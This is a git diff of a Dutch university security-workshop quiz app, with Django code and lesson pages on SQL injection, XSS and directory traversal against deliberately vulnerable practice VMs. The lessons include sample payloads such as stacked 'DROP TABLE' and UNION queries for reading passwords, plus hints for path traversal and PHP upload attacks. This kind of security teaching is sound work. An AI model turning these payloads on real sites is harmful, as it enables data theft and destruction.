Compare commits

...

No commits in common. '93367042b937cd2df88d66d4d3e0e22149206b46' and '6c80186fb8f9fd2e07bf4fe184089be6118e2bb1' have entirely different histories.

  1. 5
      .gitignore
  2. 58
      index.html
  3. 10
      manage.py
  4. 78
      path.html
  5. 0
      quiz/__init__.py
  6. 4
      quiz/admin.py
  7. 33
      quiz/migrations/0001_initial.py
  8. 20
      quiz/migrations/0002_answer_submitted.py
  9. 20
      quiz/migrations/0003_auto_20150520_1113.py
  10. 26
      quiz/migrations/0004_letsencryptchallenge.py
  11. 0
      quiz/migrations/__init__.py
  12. 25
      quiz/models.py
  13. 0
      securityquiz/__init__.py
  14. 10
      securityquiz/secrets.py.template
  15. 120
      securityquiz/settings.py
  16. 21
      securityquiz/urls.py
  17. 20
      securityquiz/wsgi.py
  18. 221
      sql.html
  19. 4
      static/css/style.css
  20. 78
      static/js/quiz.js
  21. 0
      templates/500.html
  22. 61
      templates/base.html
  23. 0
      templates/bonus.html
  24. 0
      templates/certificaten.html
  25. 0
      templates/encryptie.html
  26. 0
      templates/letsencrypt.html
  27. 0
      templates/oauth.html
  28. 86
      templates/path.html
  29. 0
      templates/points.html
  30. 0
      templates/sign.html
  31. 203
      templates/sql.html
  32. 387
      templates/wachtwoorden.html
  33. 212
      templates/xss.html
  34. 284
      views.py
  35. 389
      wachtwoorden.html
  36. 10
      wsgi.py
  37. 244
      xss.html

5
.gitignore vendored

@ -1 +1,4 @@
.DS_Store
.DS_Store
*.pyc
db.sqlite3
securityquiz/secrets.py

@ -1,58 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>Security Workshop</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
<script type="text/javascript" src="/static/js/quiz.js"></script>
</head>
<body>
<form method="POST" id="form-quiz">
<div class="row-fluid">
<div class="well span3" id="menu">
<ul>
<li>
<a href="/?sql">SQL Injection</a>
</li>
<li>
<a href="/?xss">Cross-site Scripting</a>
</li>
<li>
<a href="/?wachtwoorden">Wachtwoorden</a>
</li>
<li>
<a href="/?path">Insecure Direct Object References</a>
</li>
<!--
<li>
<a href="/?oauth">OAuth</a>
</li>
<li>
<a href="/?certificaten">Certificaten</a>
</li>
<li>
<a href="/?encryptie">Encryptie</a>
</li>
-->
</ul>
Moeilijkheidsgraad:
<select id="difficulty">
<option value="easy">Hints zichtbaar</option>
<option value="normal">Hints optioneel</option>
<option value="hard">Geen hints</option>
</select>
</div>
<div id="quiz" class="span8 offset3">
</div>
</form>
</body>
</html>

@ -0,0 +1,10 @@
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)

@ -1,78 +0,0 @@
<h1>Insecure Direct Object References</h1>
<img src="/static/img/imgr.png">
<h2>Image site</h2>
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit
wat de inhoud van dit bestandje is.</p>
<p class="hint">
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
<p class="hint">
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
<div class="question">
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
</div>
<h2>Image 2</h2>
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver
bereikbaar is. De plaatjes worden nu via een speciaal image.php (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
<p class="hint">Met een paar extra
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
<div class="question">
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
</div>
<p>Verander image.php in image_check_prefix.php (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
<div class="question">
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
</div>
<p>Verander de bestandsnaam in image_remove_traversal.php (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de
URL kan gebruiken.</p>
<p class="hint">
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de
URL filterde?</p>
<div class="question">
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
</div>
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
<div class="question">
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
</div>
<img src="/static/img/parent_dir.png" class="center-block">
<h2>Image 3</h2>
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
<p class="hint">
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
<p class="hint">
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met
<code>include()</code> ziet er interessant uit...</p>
<div class="question">
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
</div>

@ -0,0 +1,4 @@
from django.contrib import admin
import models
admin.site.register(models.Answer)

@ -0,0 +1,33 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Answer',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('question', models.CharField(max_length=128)),
('string', models.TextField()),
('points', models.IntegerField(null=True)),
('comment', models.TextField(null=True)),
('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),
],
options={
},
bases=(models.Model,),
),
migrations.AlterUniqueTogether(
name='answer',
unique_together=set([('user', 'question')]),
),
]

@ -0,0 +1,20 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('quiz', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='answer',
name='submitted',
field=models.DateField(auto_now_add=True, null=True),
preserve_default=True,
),
]

@ -0,0 +1,20 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('quiz', '0002_answer_submitted'),
]
operations = [
migrations.AlterField(
model_name='answer',
name='submitted',
field=models.DateTimeField(auto_now_add=True, null=True),
preserve_default=True,
),
]

@ -0,0 +1,26 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('quiz', '0003_auto_20150520_1113'),
]
operations = [
migrations.CreateModel(
name='LetsEncryptChallenge',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('challenge', models.CharField(max_length=128)),
('response', models.CharField(max_length=128)),
('expiry_date', models.DateTimeField()),
],
options={
},
bases=(models.Model,),
),
]

@ -0,0 +1,25 @@
from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class Answer(models.Model):
user = models.ForeignKey(User)
question = models.CharField(max_length=128)
string = models.TextField()
# Feedback
points = models.IntegerField(null=True)
comment = models.TextField(null=True)
submitted = models.DateTimeField(auto_now_add=True, null=True)
class Meta:
unique_together = ('user', 'question')
def __str__(self):
return self.question + ": " + self.string
class LetsEncryptChallenge(models.Model):
challenge = models.CharField(max_length=128)
response = models.CharField(max_length=128)
expiry_date = models.DateTimeField()

@ -0,0 +1,10 @@
DB_NAME = ''
DB_USER = ''
DB_PASSWORD = ''
# Can be obtained at https://publicapi.avans.nl/newconsumer/
AVANS_KEY = ''
AVANS_SECRET = ''
SECRET_KEY = '

@ -0,0 +1,120 @@
"""
Django settings for securityquiz project.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.6/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os, secrets, sys
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
CLOSED = False
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = secrets.SECRET_KEY
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
if 'runserver' in sys.argv:
DEBUG = True
ALLOWED_HOSTS = ['sec1.aii.avans.nl']
# Application definition
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'quiz',
'oauth2_provider',
'corsheaders',
)
MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'corsheaders.middleware.CorsMiddleware',
)
CORS_ORIGIN_ALLOW_ALL = True
ROOT_URLCONF = 'securityquiz.urls'
WSGI_APPLICATION = 'securityquiz.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.6/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': secrets.DB_NAME,
'USER': secrets.DB_USER,
'PASSWORD': secrets.DB_PASSWORD,
'HOST': '127.0.0.1',
'PORT': '3306',
}
}
# Internationalization
# https://docs.djangoproject.com/en/1.6/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.6/howto/static-files/
STATIC_URL = '/static/'
PROJECT_PATH = os.path.realpath(os.path.dirname(__file__)) + '/..'
MEDIA_ROOT = PROJECT_PATH + '/media/'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [PROJECT_PATH + '/templates'],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'securityquiz.settings.closed',
'django.contrib.messages.context_processors.messages',
],
},
},
]
STATICFILES_DIRS = (
PROJECT_PATH + '/static',
)
def closed(request):
return {'CLOSED': CLOSED}

@ -0,0 +1,21 @@
from django.conf.urls import patterns, include, url
from django.contrib import admin
import views
admin.autodiscover()
urlpatterns = [
# Examples:
url(r'^o/', include('oauth2_provider.urls', namespace='oauth2_provider')),
url(r'^api/hello', views.SecurityApi.as_view()),
url(r'^callback$', views.avans_callback),
url(r'^logout$', views.avans_logout),
url(r'^pull$', views.git_pull),
url(r'^admin/', include(admin.site.urls)),
url(r'^save$', views.save),
url(r'^sign$', views.sign),
url(r'^graderhelper$', views.graderhelper),
url(r'^letsencrypt$', views.letsencrypt),
url(r'^\.well-known/acme-challenge/(.+)', views.letsencrypt_challenge),
url(r'^(.*)$', views.home, name='home'),
]

@ -0,0 +1,20 @@
"""
WSGI config for securityquiz project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/
"""
import os, sys
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings")
path = '/var/www/security.aardappelschilmesje.nl'
if path not in sys.path:
sys.path.append(path)
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()

@ -1,221 +0,0 @@
<style>
code i {
color: blue;
font-style: normal;
font-weight: bold;
}
p code {
padding: 0;
margin: 2px;
}
</style>
<h1>Web App Security</h1>
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin
komen we meteen bij een gouden regel:</p>
<blockquote>Het hacken van websites zonder toestemming is
<strong>niet</strong> toegestaan</blockquote>
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p>
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
<h1>SQL injection</h1>
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn
er
<a href="https://www.google.nl/webhp?#safe=off&amp;tbm=nws&amp;q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query
die wordt uitgevoerd is bijvoorbeeld deze:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
<h5>Commentaar</h5>
<p>Met
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar.
De query zal dus ook rijen teruggeven waar
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen
kopen :)</p>
<h5>AND, OR</h5>
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld
de volgende query maken met de juiste invoer:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
<p>Deze query maakt weer het
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het
resultaat is altijd true (de haakjes worden als volgt geplaatst:
<code>. OR ( . AND . )</code>).</p>
<h5>Meerdere queries</h5>
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk
eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
<p>Met
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat.
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
<h5>UNION</h5>
<p>We kunnen met behulp van de
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries
evenveel kolommen teruggeven.</p>
<img src="/static/img/shield.png" style="float: right">
<h4>Countermeasures</h4>
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
<h5>Stored procedures</h5>
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat
in plaats op de server is SQL injectie niet mogelijk</p>
<h5>Prepared statements</h5>
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk.
Lees
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
<h5>Escaping</h5>
<p>Je kan ook alle invoer zelf escapen met functies zoals
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid
op je website!</p>
<p>Op
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
<img src="/static/img/sql_injectie.png" class="center-block">
<h2>Bank</h2>
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel
geld Bob op zijn rekening heeft staan.</p>
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom
haar rekening hacken met behulp van SQL.</p>
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
<p class="hint">
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
<p class="hint">
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
<p class="hint">
<strong>Hint 3:</strong> Bekijk de broncode achter de site:
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a>
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
<img src="/static/img/poespas.png" style="width: 70%" class="center-block">
<div class="question">
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
</div>
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND,
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
<div class="question">
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
</div>
<p class="hint">
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span>
</div>
<p>Open de
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries
(queries gescheiden door een ; ).</p>
<div class="question">
<span class="question-string">Met welke
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
</div>
<img src="/static/img/bank_schema.png">
<h2>Webshop</h2>
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de
webshop van Leaky's. Gebruik hiervoor de link
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
<p>Je kan de broncode vinden op:
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a>
</p>
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare
quotejes om de query aan te passen.</p>
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit
de database!</p>
<p class="hint">
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.
</p>
<img src="/static/img/webshop_schema.png">
<div class="question">
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en
4)</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
</div>
<p>Open de pagina
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit
de invoer gefilterd.</p>
<p class="hint">
<strong>Hint:</strong> SELSELECTECT</p>
<div class="question">
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
</div>
<h2>Wereldwijs</h2>
<p>Ga in de VM naar de
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>

@ -17,10 +17,6 @@ figure img {
}
}
#difficulty {
width: 150px;
}
.screenshot {
box-shadow: 0 0 10px #888;
border: 1px solid #aaa;

@ -1,13 +1,45 @@
$(function () {
$(function() {
var changed = false;
$('.question-input').change(function() {
changed = true;
});
$('#save-button').click(function() {
var data = $.base64.encode($('#form-quiz').serialize())
$('#busy').show();
$('#save-button').prop('disabled', true);
$.post('save', data, function(data) {
$('#busy').hide();
$('#save-button').prop('disabled', false);
if(data == 'ok') {
$('#js-message').text('Antwoorden zijn opgeslagen').slideDown().delay(1000).slideUp();
changed = false;
} else {
alert('Er is iets misgegaan bij het opslaan, bewaar je antwoorden lokaal voordat je deze tab afsluit');
}
});
return false;
});
window.onbeforeunload = function() {
if(changed) {
return 'Er zijn niet opgeslagen wijzigingen. Weet je zeker dat je de pagina wilt verlaten?';
}
}
// Hints
$('.hint').replaceWith(function () {
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>';
$('.hint').replaceWith(function() {
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>'+$(this).hide()[0].outerHTML+'</div>';
});
$('#difficulty').change(function (e) {
$('#difficulty').change(function(e) {
var option = $(this).find(':selected').val();
@ -19,49 +51,15 @@ $(function () {
});
// Set the selected property
if (window.localStorage['difficulty']) {
if(window.localStorage['difficulty']) {
var difficulty = window.localStorage['difficulty'];
} else {
var difficulty = 'normal';
}
$('#difficulty option').filter(function () {
$('#difficulty option').filter(function() {
return $(this).val() == difficulty;
}).prop('selected', true);
$('#difficulty').trigger('change');
function loadPage(page) {
$('#quiz').load('/' + page + '.html?cachebuster=' + Math.random());
}
function getPage(link) {
if (link.lastIndexOf('?') === -1) {
return '';
}
return link.substring(link.lastIndexOf('?') + 1);
}
// Dynamically load pages
$('#menu a').click(function (e, element) {
var page = getPage(e.target.href);
window.history.pushState({ page: page }, 'Security', e.target.href);
loadPage(page);
e.preventDefault();
});
window.onpopstate = function (event) {
if (event.state) {
loadPage(event.state.page);
} else {
window.location.href = '/';
}
}
// Load page
var page = getPage(window.location.href);
if (page !== '') {
loadPage(page);
}
});

@ -0,0 +1,61 @@
<!DOCTYPE html>
<html>
<head>
<title>Security 1</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
<script type="text/javascript" src="/static/js/quiz.js"></script>
</head>
<body>
<form method="POST" id="form-quiz">
{% csrf_token %}
<div class="row-fluid">
<div class="well span3" id="menu">
<p>Ingelogd als <strong>{{ user }}</strong>.</p>
<h5>Security 1</h5>
<ul>
<li><a href="/sql">SQL Injection</a></li>
<li><a href="/xss">Cross-site Scripting</a></li>
<li><a href="/wachtwoorden">Wachtwoorden</a></li>
<li><a href="/bonus">Bonus</a></li>
</ul>
<h5>Security 2</h5>
<ul>
<li><a href="/oauth">OAuth</a></li>
<li><a href="/certificaten">Certificaten</a></li>
<li><a href="/encryptie">Encryptie</a></li>
</ul>
Moeilijkheidsgraad:
<select id="difficulty">
<option value="easy">Makkelijk (hints zichtbaar)</option>
<option value="normal">Normaal (hints optioneel)</option>
<option value="hard">Moeilijk (geen hints)</option>
</select>
<a href="/logout" class="btn">Uitloggen</a>
{% if CLOSED %}<br>Inzendingen kunnen niet meer worden ingezonden{% else %}<button class="btn-primary btn-disabled" type="submit" id="save-button">Opslaan</button><img src="/static/img/loader.gif" id="busy" style="display: none">{% endif %}
<div class="alert alert-info" id="js-message" style="display: none;"></div>
<p>Deadline: donderdag 16 juni 23:59</p>
</div>
<div id="quiz" class="span8 offset3">
{% if messages %}
{% for message in messages %}
<div class="alert alert-info">{{ message }}</div>
{% endfor %}
{% endif %}
{% block content %}{% endblock %}
</div>
</div>
</form>
</body>
</html>

@ -0,0 +1,86 @@
{% extends "base.html" %}
{% block content %}
<h1>Insecure Direct Object References</h1>
<img src="/static/img/imgr.png">
<h2>Image site</h2>
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit wat de inhoud van dit bestandje is.</p>
<p class="hint"><strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
<p class="hint"><strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
<div class="question">
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
<div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_secret" value="{{ answers.answer_path_secret.string }}"></input>
</div>
<div class="question">
<span class="question-string">Plak het script dat je hebt gebruikt</span>
<div class="points"><span class="question-points">0</span> punten</div>
<textarea class="question-input" name="answer_path_secret_script">{{ answers.answer_path_secret_script.string }}</textarea>
</div>
<h2>Image 2</h2>
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver bereikbaar is. De plaatjes worden nu via een speciaal image.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
<p class="hint">Met een paar extra <code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
<div class="question">
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
<div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_image_url" value="{{ answers.answer_path_image_url.string }}">
</div>
<p>Verander image.php in image_check_prefix.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
<div class="question">
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
<div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_image_url_prefix" value="{{ answers.answer_path_image_url_prefix.string }}">
</div>
<p>Verander de bestandsnaam in image_remove_traversal.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de URL kan gebruiken.</p>
<p class="hint"><strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de URL filterde?</p>
<div class="question">
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
<div class="points"><span class="question-points">0</span> punten</div>
<input class="question-input" name="answer_path_image_url_remove_traversal" value="{{ answers.answer_path_image_url_remove_traversal.string }}">
</div>
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
<div class="question">
